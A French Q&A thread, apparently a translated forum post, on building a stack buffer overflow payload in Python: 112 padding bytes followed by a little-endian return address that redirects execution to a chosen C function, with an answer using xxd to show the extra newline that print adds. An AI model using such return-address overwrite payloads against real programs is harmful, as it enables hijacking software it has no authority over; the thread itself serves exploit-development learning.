Comment générer des données utiles avec Python pour un débordement de buffer?

Question

J'essaye de provoquer un débordement de tampon afin d'exécuter une fonction sur le code C. Jusqu'à présent, j'ai déjà réussi à savoir quel est le nombre d'octets à reprendre sur le registre EBP. La seule chose suivante est de substituer l'adresse de EIP à la fonction que je souhaite exécuter. J'essaie de générer cette charge avec python. Pour cela, j'utilise les éléments suivants

python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 

Voici ce que je reçois

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;� 

avis ces derniers caractères! Je sais que ce n'est pas ce que je devais obtenir. L'adresse que je souhaite utiliser sur le registre EIP est 0804863b. J'ai dû mettre ceci sur little endian pour que l'exploit s'exécute correctement. Des commentaires à ce sujet? Ne pouvant pas aller plus loin avec l'exploit à cause de ça ...

Answer 1

Je n'ai aucune idée de la façon dont vous avez regardé votre fichier attack_payload. Mais vous ne devriez pas simplement le vider au terminal ou le regarder dans un éditeur - puisque dans ce cas les données seront interprétées comme des caractères. Au lieu de cela, vous devriez faire quelques hexdump du fichier, par exemple avec xxd:

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
... 
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
00000070: 3b86 0408 0a        ;.... 

Comme vous pouvez le voir dans la dernière ligne, les octets \x3b\x86\x04\x08 sont en fait la plupart du temps où vous attendiez ces derniers. Vous n'attendiez probablement pas le caractère de nouvelle ligne \x0a (c'est-à-dire \n) à la fin du fichier mais c'est ce qu'un print en python ajoute. Si vous ne voulez pas ne pas utiliser print mais:

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload